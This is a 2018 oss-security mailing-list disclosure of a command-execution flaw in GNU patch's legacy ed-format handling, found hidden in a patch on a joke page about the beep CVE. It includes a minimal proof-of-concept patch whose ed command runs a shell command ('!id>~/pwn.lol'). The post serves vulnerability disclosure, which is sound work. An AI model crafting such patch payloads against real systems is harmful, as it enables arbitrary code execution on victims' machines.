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Date: Fri, 6 Apr 2018 08:52:43 +0200
From: Hanno Böck <hanno@...eck.de>
To: oss-security@...ts.openwall.com
Subject: Privsec vuln in beep / Code execution in GNU patch
Hi,
There was a joke webpage about a vulnerability in beep a few days ago:
http://holeybeep.ninja/
There's also a corresponding Debian Advisory:
https://lists.debian.org/debian-security-announce/2018/msg00089.html
Neither have any technical details. CVE is CVE-2018-0492.
If anyone knows the background of this please share it.
However it turned out that on that joke holey beep webpage there's a
patch with a hidden easter egg that's actually a vulnerability in GNU
patch.
GNU patch supports a legacy "ed" format for patches and that allows
executing external commands.
It's been reported to GNU patch now here:
https://savannah.gnu.org/bugs/index.php?53566
CVE is CVE-2018-1000156. (says an anonymous commenter...)
A minimal poc looks like this:
--- a 2018-13-37 13:37:37.000000000 +0100
+++ b 2018-13-37 13:38:38.000000000 +0100
1337a
1,112d
!id>~/pwn.lol
It looks like FreeBSD and OpenBSD have fixed something alike in 2015:
https://www.freebsd.org/security/advisories/FreeBSD-SA-15:18.bsdpatch.asc
https://ftp.openbsd.org/pub/OpenBSD/patches/5.7/common/013_patch.patch.sig
--
Hanno Böck
https://hboeck.de/
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